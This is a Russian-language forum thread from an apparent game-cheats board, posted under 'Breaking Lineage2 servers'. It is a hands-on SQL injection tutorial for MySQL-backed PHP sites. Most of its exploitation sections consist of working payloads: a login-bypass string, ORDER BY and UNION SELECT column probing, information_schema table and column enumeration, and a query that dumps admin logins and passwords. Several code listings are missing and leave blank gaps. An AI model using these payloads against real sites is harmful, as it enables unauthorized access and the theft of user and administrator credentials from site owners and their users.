Добро пожаловать на la2shara. У нас на фруме вы найдёте м...

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Баги и читы Lineage 2 » Ломаем сервера Lineage2. » SQL-инъекция в MySQL
SQL-инъекция в MySQL
6e36aweHHbluДата: Суббота, 22.10.2011, 15:46 | Сообщение # 1
Генералиссимус
Группа: Администраторы
Сообщений: 229
Награды: 6
Репутация: 10032
Статус: Offline
Всем привет.

Часть 1. Теория

Немножко пройдемся по азам:
Sql-injection (sql-инъекция, sqli, скуль и т.п.) – это уязвимость, позволяющая удаленному пользователю внедрять sql-запросы, непредусмотренные кодом страницы. Что это дает? А дает это возможность чтения из базы данных MySQL необходимой хакеру информации, например, имен и паролей пользователей. Уязвимость возникает в случае, если какие-либо данные, которые вводятся пользователем и направлены в базу данных, не фильтруются, т.е. помимо предусмотренного запроса мы можем добавить запрос, нужный нам. Данные от пользователя к базе данных обычно передаются через GET-параметры, POST-параметры и cookies.


Часть 2. Ищем уязвимость

Для того, чтобы определить уязвимость, нужно понимать, что происходит, не так ли?
И так, предположим, у нас есть скрипт, который обращается к базе данных методом GET с целью получить какой-нибудь параметр, например, данные о пользователе. Предположим, что выглядит он следующим образом:

Листинг скрипта user.php




Мы видим, что в переменную $id попадают символы, которые содержатся в адресной строке после "id=", до конца запроса или до символа &. Например,

Code
site.com/user.php?id=1


В переменную $id попадает единица.
Логика запроса такова, что на экран будут выведены все данные о пользователе с идентификатором 1.
Что будет, если нарушить логику запроса? Например, поставить традиционную кавычку “'”.


Code
site.com/user.php?id=1'



В таком случае, мускуль не поймет запроса и ругнется нам ошибкой, что-то типа


Code
You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1''


Подстановка кавычки, собственно, может дать следующие варианты:



1. Вывод ошибки, как приведено выше. Это означает отсутствие фильтрации вводимых параметров, возможность внедрения своего запроса
2. Ошибка отсутствует, вообще искажается вся страница или ее часть. В таком случае, возможно, просто отключен вывод об ошибках в настройках php. Наличие инъекции возможно.
3. Ничего не меняется. Скорее всего, вводимые данные фильтруются, и инъекции нет.

Таким образом, чтобы найти инъекцию в GET параметре, нужно везде ставить кавычки. Но учтите, что, если при user.php?id=1 инъекции нет, то и в user.php?id=2 ее точно не будет, т.к. на уязвимость проверяется параметр id, а не его числовое значение.

Кстати, о значениях. Параметры могут быть не только числовыми, а, например, текстовыми:


Code
site.com/user.php?name=admin



А могут выглядеть и так:


Code
site.com/user/name/id/1



Поэтому не стесняемся – ставим кавычки везде, где есть вероятность «попасть» с запросом в базу данных.

Так, с GET параметром вроде разобрались.

Теперь POST параметр.

Как вы помните, в пост параметр также обычно попадают данные, введенные в поле обычным пользователем, например, форма поиска или авторизации. В таком случае адресная строка браузера как выглядела, так и будет выглядеть, при этом, введенные нами данные «незаметно» для нас уйдут в БД. Процесс проверки наличия уязвимости будет, по сути, таким же, как и при GET-методе передачи.
Отдельно следует упомянуть о наличии инъекции в форме авторизации.
Предположим, что запрос к БД будет выглядеть таким образом:


 
6e36aweHHbluДата: Суббота, 22.10.2011, 16:10 | Сообщение # 2
Генералиссимус
Группа: Администраторы
Сообщений: 229
Награды: 6
Репутация: 10032
Статус: Offline

Если не фильтруется переменная $login:
Запрос в строке, где вводится логин, будет таким:
Admin'+--+
Таким образом, в базу данных попадет только логин, проверка по паролю будет отброшена, благодаря использованию комментария MySQL “+--+”. И вуаля – мы админы.
Если не фильтруются данные поля для ввода пароля, то запрос в этом поле будет таким:
Pass'+or+login=’admin’ Таким образом, значение пароля будет отброшено, и авторизация пройдет по логину admin.
Учитывая, что в sql-запрос может быть построен по-другому (например,




), то целесообразно будет сначала выявить принципиальное наличие sqli, используя все ту же кавычку. И если инъекция существует – видоизменять запрос до получения необходимого результата.

COOKIES

Аналогично проверке при передачи POST параметром, необходимо будет в значения cookies добавить данные, которые теоретически могут вызвать ошибку в sql-запросе. Пользуемся редактором cookies для корректировки запросов, ставим кавычку и обновляем страницу.

Собственно, в дальнейшем сосредоточимся именно на методе передачи данных GET, т.к. принципы работы массивов GET, POST и COOKIES идентичны, за исключением разве что внешнего вида. С гетами будет нагляднее.

Маленький вывод: поиск уязвимости технически одинаков для любого метода передачи данных из перечисленных – необходимо вызвать ошибку в sql-запросе путем нарушения его логики. Хочу уточнить, что данном мануале я говорю о поиске уязвимости именно в SELECT запросах.


Часть 3: эксплуатация уязвимости


Эксплуатация sqli осуществляется с использованием оператора sql «SELECT», который используется для извлечения данных из строк одной или нескольких таблиц.





Для объединения запросов используется оператор «union»





Так как SELECT запросов у нас будет больше одного (один изначально находится в скрипте, другой пишем мы), то без этого оператора мы никак не обойдемся.
Однако, для корректной работы связки UNION+SELECT необходимо, чтобы количество столбцов в SELECT-запросах до UNION и после было одинаковым. Поясню на примере.
Изначально наш sql-запрос выглядел так:





Учитывая наличие уязвимости, мы хотим дописать запрос:


Code
site.com/user.php?id=1+UNION+SELECT+1



Теперь наш sql-запрос примет следующий вид:
$zapros = mysql_query("SELECT * FROM users WHERE id=1 + UNION + SELECT + 1");

Т.е. мы имеем 2 SELECT запроса, и UNION, который их объединяет. Вот для того, чтобы запрос сработал корректно, нужно, чтобы количество столбцов в таблицах при первом SELECT запросе и втором SELECT запросе совпадало.

Итак, определяем количество полей
3.1
Конструкция "order+by+число". Сортирует строки результирующей таблицы данных, по указанному числовому параметру.
Если при запросе


Code
site.com/user.php?id=1+order+by+10+--+


Получаем ошибку, то столбцов меньше 10. Если ошибки нет – то столбцов либо 10, либо больше.
3.2
Конструкция “group+by+число”. Тот же order+by, только наоборот. Если при group+by+10 есть ошибка, то таблиц меньше 10, если ошибки нет, то их 10 или больше.
3.3 На мой взгляд, самая неудобная конструкция, которую я лично никогда не использовал, но напишу:


Code
site.com/user.php?id=1+UNION+SELECT+1



Выпала ошибка? Идем дальше


Code
site.com/user.php?id=1+UNION+SELECT+1,2


Опять ошибка. Продолжаем увеличивать
….


Code
site.com/user.php?id=1+UNION+SELECT+1,2,3,4,5



Ошибки нет. Искомое число – 5.

Итак, количество полей для запроса – 5.
 
6e36aweHHbluДата: Суббота, 22.10.2011, 17:09 | Сообщение # 3
Генералиссимус
Группа: Администраторы
Сообщений: 229
Награды: 6
Репутация: 10032
Статус: Offline
Идем дальше.
Для того, чтобы выводить из базы данных какую-либо информацию, необходимо определить принтабельные поля, через которые это можно сделать. Для этого формируем запрос следующим образом (не забываем, что у нас 5 полей):


Code
Site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5


Обратите внимание, что перед 1 я поставил знак минус. Логически можно предположить, что пользователя с идентификатором -1 не существует, поэтому на экран будет выведен минимум информации, и результаты нашего запроса, который стоит после id=-1 будут более заметны.
По результатам этого запроса, на странице должны отобразится какие-либо цифры от 1 до 5, эти цифры и будут нашими принтабельными полями. Допустим, это будет поле №2.

Первоначально рекомендую вывести из базы данных следующую информацию:
Текущая база данных – команда database()
Текущий пользователь MySQL – команда user()
Текущая версия базы данных – команда version()
Особенно важна информация из последней команды – version(). Исходя из того, что покажет данная команда, будем строить и дальнейшие действия.

Подставлять запрос следует вместо тех цифр, которые были выведены как принтабельные поля. Собственно, сам запрос будет выглядеть таким образом:

site.com/user.php?id=-1+UNION+SELECT+1,version(),3,4,5

На месте двойки на странице сайта будет выведена версия базы MySQL.
Если версия 5 и выше, вам повезло. Если 4 – не сильно. Если 3 – то вообще приплыли.
Вообще-то 3 ветку я лично даже в глаза не видел, так что и писать о ней не буду. Принципиальное для нас отличие между ветками – появление базы information_schema, в которой хранится структура всей базы данных.

Напомню, что любая мускульная база данных имеет таблицы, которые состоят из колонок. Начинаем по порядку


Глава 4: определение структуры базы данных


4.1 Версия MySQL 5.x.x
Структура любой базы данных данной ветки обязательно содержит стандартную базу information_schema, в которой находятся стандартные таблицы и колонки, не представляющие для нас ровно никакой ценности.
Вывод наименований таблиц:


Code
site.com/user.php?id=-1+UNION+SELECT+1,group_concat(table_name),3,4,5+from+information_schema.tables+where+table_schema!=0x696e666f726d6174696f6e5f73    6368656d61


Данный запрос: выводит все (group_concat) таблицы (table_name) из information_schema.tables (информационная база таблиц), где имя базы таблиц (table_schema) не является (!=) information_schema

0x696e666f726d6174696f6e5f736368656d61 – это information_schema в hex значении, в качестве конвертора я использую сайт x3k.ru/

Ограничением (причем, зачастую довольно ощутимым), является вывод не более 1024 символов за раз, поэтому могут вывестись не все таблицы.

Аналогом для вывода может служить конструкция limit, которая позволит выводить по одной записи ( в нашем случае – имя таблицы) за запрос.

Например, запрос


Code
site.com/user.php?id=-1+UNION+SELECT+1,table_name,3,4,5+from+information_schema.tables+limit+0,1


выведет нам 1 таблицу
limit+1,1 – вторую и так далее.

Итак, определили все таблицы в базе данных. Выбираем интересующую нас таблицу, допустим, она называется admin. Теперь нам необходим определить наименование колонок данной таблицы. Делается практически аналогично:


Code
site.com/user.php?id=-1+UNION+SELECT+1,group_concat(column_name),3,4,5+from+information_schema.columns+where+table_name= 0x61646d696e


Логика запроса, надеюсь, понятна – она практически идентична предыдущему запросу. Тут обычно длины group_concat абсолютно достаточно, т.к. количество столбцов обычно небольшое. Предположим, что в нашем случае колонки назывались login и pass.

Итак, мы определили структуру базы данных, а также выяснили наименование нужных нам таблиц и колонок: таблица admin содержит колонки login и pass.
Заключительный этап эпопеи – вывод данных. Составляем следующий запрос:


Code
site.com/user.php?id=-1+UNION+SELECT+1,group_concat(login,0x3b,pass),3,4,5+from+admin


В данном случае, выводятся все значения для колонок login и pass из таблицы admin, 0x3b используется как разделитель между ними (для удобочитаемости, эквивалентен точке с запятой).
Все, эти данные у нас в руках.
 
6e36aweHHbluДата: Суббота, 22.10.2011, 17:26 | Сообщение # 4
Генералиссимус
Группа: Администраторы
Сообщений: 229
Награды: 6
Репутация: 10032
Статус: Offline
4.2 Версия MySQL 4.x.x

Четвертую ветку сознательно пишу после пятой, чтобы новичкам было проще сориентироваться.
Как уже говорилось, ключевое для нас отличие между 4 и 5 версиями – information_schema. В 5 версии – есть, в 4 – нет. И это создает для нас определенные трудности. Я опишу самый примитивный способ, а остальные – тема уже других статей, ибо сложные .
Так вот, в связи с отсутствием information_schema, мы не можем просто взять и получить наименование таблиц\колонок, так как неоткуда. Проще всего попробовать угадать. Для начала попробуем угадать название таблицы:


Code
site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5+from+user


Если выпала ошибка – не угадали. Меняем название таблицы:

Code
site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5+from+logins


И так до того момента, пока не пропала ошибка.

В нашем виртуальном случае, без ошибки сработает запрос:


Code
site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5+from+admin


Теперь надо угадать наименования колонок. Помним, что принтабельное поле у нас 2, действуем аналогично предыдущей логике:

Code
site.com/user.php?id=-1+UNION+SELECT+1,name,3,4,5+from+admin


Ошибка

Code
site.com/user.php?id=-1+union+SELECT+1,admin_login,3,4,5+from+admin


Ошибка

Code
site.com/user.php?id=-1+UNION+SELECT+1,login,3,4,5+from+admin


Есть контакт.

Аналогично угадываем колонку с паролем


Code
site.com/user.php?id=-1+UNION+SELECT+1,pass,3,4,5+from+admin


Вывод содержимого колонок делается аналогично выводу в 5 ветке.

Маленькое дополнение к теме.

Символы комментариев, которые используются в MySQL:Символы комментариев, которые используются в MySQL:

Code
/*      
+--+ (знак плюса эквивалентен пробелу)
--
#


Нужны для того, чтобы отбросить то, что находится после нашего запроса. Зачастую это необходимо, поэтому, если что-то не идет – ставьте (меняйте) указанные символы – есть шанс, что все наладится.
Пример запроса:


Code
site.com/user.php?id=-1+UNION+SELECT+1,pass,3,4,5+from+admin+--+


(или любой другой аналог из указанных выше)

Если есть желание попрактиковаться – милости прошу сюда

Ну и вообще, как искать sqli, вы должны уже и сами понять.


Видео ТУТА


Автор: stan_q hacker-pro
 
Форум » Баги и читы Lineage 2 » Ломаем сервера Lineage2. » SQL-инъекция в MySQL
  • Страница 1 из 1
  • 1
Поиск: